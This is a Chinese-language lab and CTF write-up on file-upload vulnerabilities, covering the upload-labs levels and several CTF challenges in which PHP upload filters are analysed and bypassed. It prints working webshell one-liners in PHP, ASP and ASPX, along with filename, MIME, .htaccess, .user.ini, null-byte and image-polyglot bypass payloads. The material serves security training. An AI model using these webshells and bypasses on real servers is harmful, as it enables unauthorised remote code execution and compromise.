upload

什么是文件上传漏洞

文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力。

WebShell是什么

  • WebShell , 简称网页后门。简单来说它是运行在Web应用之上的远程控制程序
  • webShell其实就是一张网页,但webShell并不具备常见网页的功能,例如登录、注册、信息展示等功能,一般会具备文件管理、端口扫描、提权、获取系统信息等功能。

一句话木马

1
2
3
4
5
6
php的一句话木马: <?php @eval($_POST['attack']);?>
asp的一句话是: <%eval request ("attack")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["attack"],"unsafe");%>
phtml格式:GIF89a //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>

php一句话木马的解释

1、php的代码要写在里面,服务器才能认出来这是php代码,然后才去解析
2、@符号的意思是不报错,即使执行错误,也不报错
为什么呢?因为一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义。这不就暴露了密码吗?所以我们加上@
3、$_POST[‘a’];的意思就是a这个变量,用post的方法接收
4、eval()把字符串作为PHP代码执行

  • 连起来意思就是:用post方法接收变量pw,把变量pw里面的字符串当做php代码来执行

Pass-01

Javascript 前端检查
一般都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过:
1、上传png后缀的一句话木马,代理抓包,修改上传的文件后缀
2、修改JS文件(推荐)
3、禁用js
$_FILES中的那些参数:

1
2
3
4
5
6
7
8
9
10
$_FILES这个变量用与上传的文件参数设置,是一个多维数组
数组的用法就是 $_FILES['key']['key2'];
$_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。

$_FILES['upfile']包含了以下内容:
$_FILES['upfile']['name'] 客户端文件的原名称。
$_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。
$_FILES['upfile']['error'] 和该文件上传相关的错误代码。

源码中的js代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
</script>
  • alert()
    作用:在浏览器中弹出一个警示框,警示框的警示内容可以人为自定义
    alert 语句是一个 js 内置好的功能(函数、方法),要想实现功能必须在 alert 关键字后面 加小括号执行,自定义的内容需要传递给小括号内的参数,输出时参数位置的内容alert("请选择要上传的文件!");会出现 在弹框位置
    通关思路:
    f12->查看器->找到调用检验函数语句

    将onsubmit=”return checkFile()”删去即可提交

Pass-02

本题要求对数据包中的MIME进行检查
MIME是什么?
简单来说就是文件的后缀
在HTTP中,MIME类型被定义在Content-Type header中
常见的类型如下:

1
2
3
4
超文本标记语言文本 .html text/html
PDF文档 .pdf application/pdf
PNG图像 .png image/png
JPEG图形 .jpeg,.jpg image/jpeg

源码中从这里可以看出是对MIME的检验:

1
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
  • pass:
    1、抓包后找到MIMIE的位置,在Content-Type中

    更改其为image/jpeg,放包即可上传
    2、用正确形式上传,再在bp上改成php格式

Pass-03

黑名单验证

1
2
3
4
5
6
7
8
9
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
  • trim()函数是用来清除文本首尾多余的空格以及文本中的重复空格
  • strrchr() 函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符
    strrchr(string,char)
    string:被搜索的字符串
    char:要查找的字符。如果该参数是数字,则搜索匹配数字 ASCII 值的字符
    1
    2
    3
    4
    <?php
    echo strrchr("Hello world!",111);
    ?>
    运行结果:orld!
  • ::$DATA:在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
    eg:”phpinfo.php::$DATA”Windows会自动去掉末尾的::$DATA变成”phpinfo.php”
  • pass:上传的后缀名只要不在那几个之间,可以使用
    PHP:php4/php5/phtml/php3/pht
    当我们不知道什么被加入黑名单的话,我们还能用bp爆破一下

Pass-04

htaccess文件利用

1
2
3
4
5
6
7
8
9
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
  • 概念:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
  • .htaccess文件内容:SetHandler application/x-httpd-php
    设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。
    指定文件:
    1
    2
    3
    <FilesMatch "文件名">
    setHandler application/x-httpd-php
    </FilesMatch>
  • pass:1、新建.txt文件,输入SetHandler application/x-httpd-php,修改后缀为.htaccess,上传
    再建立一个txt文件,写上一句话木马,改成它允许的格式(eg:png),上传即可
    2、将文件后缀名改为”点+空格+点”的格式,这样file_ext会变为空,成功绕过黑名单上传。Windows会自动删除文件名最后的点,最后变为1.php
    Content-Disposition: form-data; name="upload_file"; filename="1.php. ."
  • .htaccess利用防范:黑名单限制

Pass-05

过滤了.htaccess,但是$file_name = deldot($file_name);//删除文件名末尾的点,仍然只过滤了一次点,所以使用. .绕过

Pass-06

代码中未用strtolower()把文件后缀名变为小写,使用大小写绕过

Pass-07

代码中未用trim()去除首尾空格,截包时文件名后加空格绕过即可,这样即是.php后缀又不会被黑名单过滤
Content-Disposition: form-data; name="upload_file"; filename="1.php "

Pass-08

代码中未用deldot()去除点,使用BurpSuite截包,文件名后加点绕过即可
Content-Disposition: form-data; name="upload_file"; filename="shell.php."

Pass-09

代码中未用str_ireplace()过滤::$DATA数据流标记,在BurpSuite中加入::$DATA到文件名末尾即可。在访问时去掉URL中的::$DATA
Content-Disposition: form-data; name="upload_file"; filename="shell.php::$DATA"

Pass-10

“点+空格+点”过滤

Pass-11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

$file_name = str_ireplace($deny_ext,"", $file_name);将出现在黑名单中的后缀名替换成空白字符串,但无论文件名是否被匹配都会被上传。鉴于源代码中只过滤了一次,我们可以使用双写绕过方法上传(如:.jjspsp)。这样str_ireplace()函数会将字符串”jsp”替换为空白,但替换后剩下的字符串刚好为”.jsp”

  • pass:文件名为“shell.pphphp”,直接上传即可

Pass-12

%00截断漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
  • in_array():搜索数组中是否存在指定的值
  • strrpos():查找字符串在另一字符串中最后一次出现的位置(区分大小写)
  • substr():返回字符串的一部分
    这里strrpos($_FILES['upload_file']['name'],".")就是找到.最后一次出现的位置,+1使刚好取到.,那么substr取到的就是文件后缀,所以这里后缀被强行规定了

%00截断

ps:适用于php版本<5.3.4,且服务中器的php.ini中的magic_quotes_gpc = Off,才可以进行%00截断
原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00.
补充:1、C语言标准库中对字符串的处理都会以\0作为字符串结束标志,任何字符串之后都会自动加上’\0’。’\0’的意思是 ASCII 码为 0 的字符,对应的字符是(Null),表示字符串结束符
2、magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

pass:上传路径是可控的$_GET['save_path'],后面还有一个后缀名需要绕过,并且是以拼接的形式

Pass-13

查看源代码,和第十一关对比,发现接受值变成了post,那么思路就和第十一关一样,不过post方式不会自行解码,所以要对%00进行urldecode
burp可以进行快捷编码,选中%00右键convert selection即可进行快速url编码

也可以这样


把6的ascii改成00

Pass-14

上传图片马
PHP版本>5.3 必须在php.ini中开启allow_url_fopen选项

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;

$file = fopen($filename, “rb”);是以二进制读取模式打开文件
$strInfo = @unpack(“C2chars”, $bin);这里是解包(用什么打包就用什么解包),然后以二进制输出
intval()对结果进行十进制转换,该函数会返回变量对应的integer数值
这里只会读取判断上传文件的前两个字节,即判断上传文件类型

  • 制作图片马
    1、利用cmd制作
    copy 1.php/b+1.jpg/a 2.jpg
    2、利用Notepad++直接在末尾加上一句话
    效果:
  • pass:将图片马上传,打开include界面,并get传参
    http://127.0.0.1/upload-labs-master/include.php?file=upload/6920230523120607.jpg
    文件包含把文件强制当成php文件解析,所以可以直接用蚁剑连接

文件包含漏洞

1、文件包含:服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行
2、文件包含函数
PHP中文件包含函数有以下四种:

  • include()
  • include_once()
  • require()
  • require_once()
    这四个函数的对比
    1、include在引入不存文件时产生一个警告且脚本还会继续执行,require则会导致一个致命性错误且脚本停止执行。
    2、include_once,require_once函数的作用与include相同,不过它会首先验证是否已包含该文件。如果已经包含,则不再执行。
    3、漏洞产生原因
    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
    eg:
    1
    2
    3
    $file = $_GET['file'];
    if(isset($file)){
    include $file;
    $_GET[‘file’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET[‘file’]的值,执行非预期的操作。

后台使用包含函数include()处理文件中的代码时,如果发生错误,也会继续往下执行。也就是说,虽然前面的图片代码无法执行,但是最后的php代码是可以被执行的

Pass-15

getimagesize图片马

1
2
3
4
5
6
7
8
9
10
11
12
13
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
  • getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
  • image_type_to_extension 根据指定的图像类型返回对应的后缀名
  • stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    这题只是换了一个检验方式,做法同上一题

Pass-16

exif_imagetype() 读取一个图像的第一个字节并检查其签名。简单来说就是判断一个图像的类型
解法同上

Pass-17

二次渲染绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];

$target_path=UPLOAD_PATH.'/'.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);

if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);

if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}

}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);

@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif/jpg/png图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接
补充知识:

1
2
3
4
二次渲染:后端重写文件内容
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

ps:对于做文件上传之二次渲染建议用GIF图片,相对于简单一点
pass:上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片


[极客大挑战 2019]Upload 1

php标记

1、标准标记
标准标记以结束
标准标记是PHP最常用的标记类型,具有更好的兼容性、可移植性、可复用性

2、短标记
短标记以“”结束
短标记非常简单,但是使用短标记需要在配置文件php.ini中启用short_open_tag选项,短标记在许多环境的默认设置中是不支持的,因此PHP不推荐使用这种标记

1
<? echo “Hello,PHP”;  ?>

3、ASP标记
ASP标记以“<%”开始,以“%>”结束

1
<% echo “Hello,PHP”;  %>

4、SCRIPT标记
SCRIPT标记以“<script language=“php”>”开始,以“</script>”结束

1
<script language=“php”> echo “Hello,PHP”;</script>

SCRIPT标记类似于javascript语言标记,由于PHP一般不推荐使用该标记
在上述四种标记中,只有标准标记和SCRIPT标记能够保证对任何配置都有效

php注释

1、C++风格注释:以“//”开始,到该行结束或PHP标记结束之前的内容都是注释,单行注释
2、C风格注释:C风格注释以“/*”开始,以“*/”结束
3、Shell风格注释:#输出一段话,单行注释

#pass:

先上传一句话木马试试,这里格式直接不变,先上传看看

提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht

前几个php格式的一句话都被b了,比如php3

将文件格式改到phtml可以了,但带<?的一句话都不行
换个一句话木马

1
2
GIF89a <script language="php">eval($_REQUEST[1])</script>
//习惯在文件前加上GIF89a来绕过PHP getimagesize的检查

没加GIF89a如图

然后上传,抓包改文件格式为image/jpeg
拿蚁剑连接,flag在根目录里面

文件头绕过getimagesize()

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。
GIF89a
“GIF89a”经常作为“Graphics Interchange Format number 89A”的缩写来使用,中文表示:“图形交换格式编号89A”
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。

  • 绕过原理
    绕过getimagesize()其实很简单,我们只需要在文件内容的起始位置加上一个GIF89a即可,这样我们的文件就会被认为是一个图片,php的getimagesize()函数也检测不出来我们构造的这个“虚假”的图片是无效的。

[ACTF2020 新生赛]Upload 1

直接尝试上传1.php

是文件限制,打开源代码

return checkFile()删去,继续上传
如果是PHP文件,发现也是不能上传的,说明后端也有验证,直到phtml

攻防世界-easyupload

.user.ini文件形成后门原理就是会在执行所有的php文件之前包含.user.ini所指定的文件,前提是含有.user.ini的文件夹下需要有正常的php文件
上传.user.ini,image/jpeg

1
2
GIF89a 
auto_prepend_file=shell.jpg

再直接上传shell.jpg

1
2
3
4
5
GIF89a
<?=eval($_POST['cmd']);?> //有点小问题

GIF89a
<?=system('cat /flag');?>

访问:http://61.147.171.105:65026/uploads/index.php
image-20231009232956407